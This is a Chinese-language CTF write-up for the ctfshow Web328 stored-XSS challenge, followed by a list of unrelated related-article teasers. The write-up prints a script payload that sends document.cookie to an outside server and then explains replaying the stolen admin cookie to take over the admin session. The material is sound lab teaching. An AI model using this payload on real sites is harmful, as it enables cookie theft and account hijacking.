ctfshow(328)--XSS漏洞--存储型XSS

ops/2024/11/12 16:17:11/

Web328

简单阅读一下页面。
是一个登录系统,存在一个用户管理数据库。
那么我们注册一个账号,在账号或者密码中植入HTML恶意代码,当管理员访问用户管理数据库页面时,就会触发我们的恶意代码。

在这里插入图片描述

在这里插入图片描述

思路

我们向数据库中写入盗取管理员Cookie的恶意代码,然后利用管理员Cookie跳过账号密码验证,直接登录管理员界面即可。

在注册页面,把script、body、svg、img标签都试一下,看看哪个能成功获取到Cookie。
最后使用script标签成功了。
账号和密码都输入下面的payload:

<script>location.href="http://xx.xx.xx.xx/flag.php?cookie="+document.cookie</script>

然后在登录界面登录一下,就会发现自己服务器获取到了管理员的cookie

这时候我们访问用户管理界面并抓包,将自己的Cookie修改为管理员的Cookie,页面会显示 欢迎你,admin
但是此时下面的用户名和密码还没有出现。我们需要继续抓包,发现又会抓到一个关于下面内容的包,将这个包的Cookie也改为管理员Cookie,我们才能成功获取flag。
在这里插入图片描述得到flag。

这里的管理员cookie更换的频率挺快的,能不能登录有点看运气,不知道有没有更稳定的方法/


http://www.ppmy.cn/ops/132491.html

相关文章

第四期书生大模型实战营(【基础岛】- 第2关 | 玩转书生「多模态对话」与「AI搜索」产品)

文章目录 1. 任务介绍[玩转书生「多模态对话」与「AI搜索」产品 - 任务](https://github.com/InternLM/Tutorial/blob/camp4/docs/L1/InternIntro/tasks.md)1.1. 基础任务 (完成此任务即完成闯关)1.2. 进阶任务 (优秀学员需要完成)1.3. 闯关材料提交 (完成材料提交视为闯关成功…

clickhouse自增id的处理

msyql 中创建数据表的时候可以通过AUTO_INCREMENT 来实现&#xff0c;clickhouse中可以通过其他方式来处理 一、 默认值 创建表时可以实用默认值&#xff0c;该列值可以自动递增。如下所示 CREATE TABLE my_table ( id UInt32 DEFAULT IDENTITY(AUTO_INCREMENT), name Strin…

月薪已炒到15w?强烈建议大家冲一冲设计新兴领域,工资高前景好,人才缺口极大!

2024年&#xff0c;你一定要学会用AI设计**。** 1年时间&#xff0c;AI证明了它的超强设计能力&#xff1a; 不用PS&#xff0c;一键完成抠图、扩图&#xff1b; 不用绘图&#xff0c;几个字描述&#xff0c;轻松生成****矢量图标、3D 插画****&#xff1b; 不用付费&#…

Python 小高考篇(2)字符串

目录 字符串字符串运算符格式化转义符字符串和整数间的转换字符串的一些其它知识点字符串切割获取字符串长度 自测总结结尾 本文由Jzwalliser原创&#xff0c;发布在CSDN平台上&#xff0c;遵循CC 4.0 BY-SA协议。 因此&#xff0c;若需转载/引用本文&#xff0c;请注明作者并附…

python机器人Agent编程——实现一个本地大模型和爬虫结合的手机号归属地天气查询Agent

目录 一、前言二、准备工作三、Agent结构四、python模块实现4.1 实现手机号归属地查询工具4.2实现天气查询工具4.3定义创建Agent主体4.4创建聊天界面 五、小结PS.扩展阅读ps1.六自由度机器人相关文章资源ps2.四轴机器相关文章资源ps3.移动小车相关文章资源ps3.wifi小车控制相关…

ubuntu24.04.1 安装 mysql

ubuntu24.04.1 用 apt 安装 mysql , 笔记241109 apt安装mysql sudo apt install mysql-server -y sudo apt install mysql-server -y修改 /etc/mysql/mysql.conf.d下的 mysqld.cnf 配置文件 sudo vi /etc/mysql/mysql.conf.d/mysqld.cnfUbuntu虽然安装mysql方便, 但默认不能…

宏集Cogent DataHub: 高效实现风电场数据集中管理与自动化

01 案例概况 一家跨国电力公司使用宏集Cogent DataHub软件&#xff0c;在美国西南地区建立起风电场的集中控制和数据采集系统。该系统整合来自不同风力涡轮机的 OPC 服务器数据&#xff0c;并确保数据安全、实时的上传至中心 SCADA 系统和 Pi 数据库。这一解决方案实现了与现有…

Android 文件带进度的下载功能实现与封装

网络框架 现在基本都是okhttp3rotrofit同时你可以加入rxjava3&#xff0c;今天就讲一下这几个结合实现简单的下载功能 先定义接口,下面两个区别就是一个可以断点续传而已 /*** 大文件官方建议用 Streaming 来进行注解&#xff0c;不然会出现IO异常&#xff0c;小文件可以忽略不…